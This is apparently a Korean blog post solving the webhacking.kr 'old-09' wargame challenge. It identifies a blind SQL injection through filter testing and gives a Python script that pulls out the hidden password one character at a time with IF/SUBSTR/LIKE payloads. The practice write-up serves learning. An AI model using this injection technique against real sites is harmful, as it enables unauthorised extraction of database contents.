old-09 풀이
2024. 3. 16. 16:33ㆍwebhacking.kr
728x90
1번 페이지와 2번 페이지를 눌렀을 때는 별다른 힌트가 나오지 않았는데, 3번 페이지에만 힌트가 나와있습니다
테이블의 컬럼명이 id와 no이고, 3번의 id는 "password"라고 합니다
아마 Blind SQL Injection 문제인 것 같습니다
문제에서 컬럼의 구성을 알려주었으니, 필터링되는 문자와 참/거짓의 출력이 어떻게 나오는지 등을 파악해 주면 됩니다
no에 여러가지 값을 넣어봤습니다
1~3을 제외한 숫자 : 별다른 문자열이 적혀있지 않은 페이지
특수문자 : Access Denied이 적힌 페이지
1 : Apple이 적혀있는 페이지
2 : Banana가 적혀있는 페이지
3 : Secret 페이지
그래도 괄호랑 substr, like는 필터링되지 않으니, 이걸로 파이썬 코드를 짜서 돌려주겠습니다
import requests
import string
result = ''
def sqli(query):
url = 'https://webhacking.kr/challenge/web-09/?no=' + query
r = requests.get(url)
if 'Secret' in r.text:
return True
else:
return False
for i in range(1, 12):
for c in string.printable:
if sqli(f'IF(SUBSTR(id,{i},1)LIKE({hex(ord(c))}),3,0)') is True:
result += c
break
print(result)
코드를 돌려서 나온 결과값을 Password 입력 폼에 넣어서 제출해주면 됩니다
728x90